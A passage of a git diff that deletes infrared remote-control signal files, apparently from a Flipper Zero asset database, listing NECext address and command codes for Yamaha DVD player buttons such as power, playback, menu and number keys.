SEARCH_+_(>>) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SCAN_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SKIP_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 88 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 89 00 00 00 -# -name: FUNCTN:_DISC_SKIP- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8A 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8B 00 00 00 -# -name: FUNCTN:_DISC_SKIP+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8B 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8C 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8D 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8E 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8F 00 00 00 -# -name: STEP_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 91 00 00 00 -# -name: STEP_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 92 00 00 00 -# -name: PLAY_/_PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 92 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: NUMERIC:_0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: NUMERIC:_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: NUMERIC:_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: NUMERIC:_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: NUMERIC:_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: NUMERIC:_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: NUMERIC:_6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: NUMERIC:_7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: NUMERIC:_8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: NUMERIC:_9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: NUMERIC:_+10/_>10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CANCEL_(CLEAR) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: PROG:_CANCEL/CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: TITLE/INDEX -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CANCEL/CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A0 00 00 00 -# -name: PROG:_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A0 00 00 00 -# -name: CANCEL_(CLEAR) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A0 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: PROG:_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A2 00 00 00 -# -name: REP_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: PROG:_REPEAT_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEART_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEAT_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REP_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: PROG:_REPEAT_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: REPEAR_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A5 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: SET:_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: DISPLAY_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: OSD_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: DISPLAY_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: ON-SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: SET:_TIME -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A9 00 00 00 -# -name: SET:_DIMMER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A9 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SET:_SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITILE_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AB 00 00 00 -# -name: SUBTITLE_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AB 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AC 00 00 00 -# -name: SET:_SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AC 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: SET:_AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: SET:_ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: TOP_MENU/_DIR.NAV. -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: FUNCTN:_TOP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: TOP_MENU/RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: FUNCTN:_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: FUNCTN:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: FUNCTN:_CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: FUNCTN:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: FUNCTN:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: FUNCTN:_RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: SELECT_(ENTER) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: FUNCTN:_SELECT/ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER/SELECT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: CURSOR_ENTER/OK -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: SKIP_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_/_SEARCH_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: FUNCTN:_SKIP- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP/SEARCH_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP/SEARCH_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP/SEARCH_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP_/_SEARCH_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: FUNCTN:_SKIP+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP/SEARCH_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP/SEARCH_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP/SEARCH_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: MULTI_SPEED -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BB 00 00 00 -# -name: DISC_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BC 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BD 00 00 00 -# -name: PLAY_MODE:_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BD 00 00 00 -# -name: POP-UP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: CF 00 00 00 -# -name: SUB_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D0 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D1 00 00 00 -# -name: FUNCTN:_DISC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D1 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D2 00 00 00 -# -name: FUNCTN:_DISC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D2 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D3 00 00 00 -# -name: FUNCTN:_DISC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D3 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D4 00 00 00 -# -name: FUNCTN:_DISC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D4 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D5 00 00 00 -# -name: FUNCTN:_DISC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D5 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D7 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D8 00 00 00 -# -name: SET:_MARKER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D8 00 00 00 -# -name: VIDEO_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: AUDIO_DIRECT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: AUDIO_DIRECT_(VID) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: SET:_VIDEO_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: AUDIO_DIR(VIDON/OFF) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: PROGRESSIVE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DA 00 00 00 -# -name: SET:_PROGRESSIVE_TOG -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DA 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DB 00 00 00 -# -name: GROUP_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DC 00 00 00 -# -name: GROUP_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DD 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DD 00 00 00 -# -name: SET:_GROUP+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DD 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DE 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DE 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DF 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DF 00 00 00 -# -name: SET:_PAGE+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DF 00 00 00 -# -name: SET:_PLAYER_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E0 00 00 00 -# -name: MULTI/2CH -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E1 00 00 00 -# -name: SET:_MULTI/2CH -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E1 00 00 00 -# -name: MULTI_/_2CH. -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E1 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E2 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E4 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E5 00 00 00 -# -name: HDMI_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E5 00 00 00 -# -name: INPUT:_USB -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E6 00 00 00 -# -name: FUNCTIONS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E8 00 00 00 -# -name: A_(RED) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E9 00 00 00 -# -name: B_(GREEN) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EA 00 00 00 -# -name: C_(BLUE) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EB 00 00 00 -# -name: D_(YELLOW) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EC 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: ED 00 00 00 -# -name: SECONDARY_AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EE 00 00 00 -# -name: BD/SD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EF 00 00 00 -# -name: PLAY_MODE:_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: NORMAL_PLAY_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_MODE_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAYMODE_-_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_MODE_-_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_-_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_MODE:_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: RANDOM_PLAY_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_MODE_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAYMODE_-_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_MODE_-_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_-_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_MODE:_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PROGRAM_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PLAY_MODE_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PLAY_MODE_-_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PLAY_-_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: PROG:_REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F3 00 00 00 -# -name: REPEAT_MODE_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F3 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F3 00 00 00 -# -name: PROG:_REPEAT_ALL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F5 00 00 00 -# -name: ALL_DISC_REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F5 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F5 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: POWER:_ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F7 00 00 00 -# -name: POWER:_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F7 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir deleted file mode 100644 index 29b704f47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir +++ /dev/null @@ -1,524 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3F 00 00 00 -# -name: POS._MEMO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 46 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_[<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: CHAPTER_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: SKIP_>>] -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: CHAPTER_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: MENU/PLAY_LIST -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: CANCEL -type: 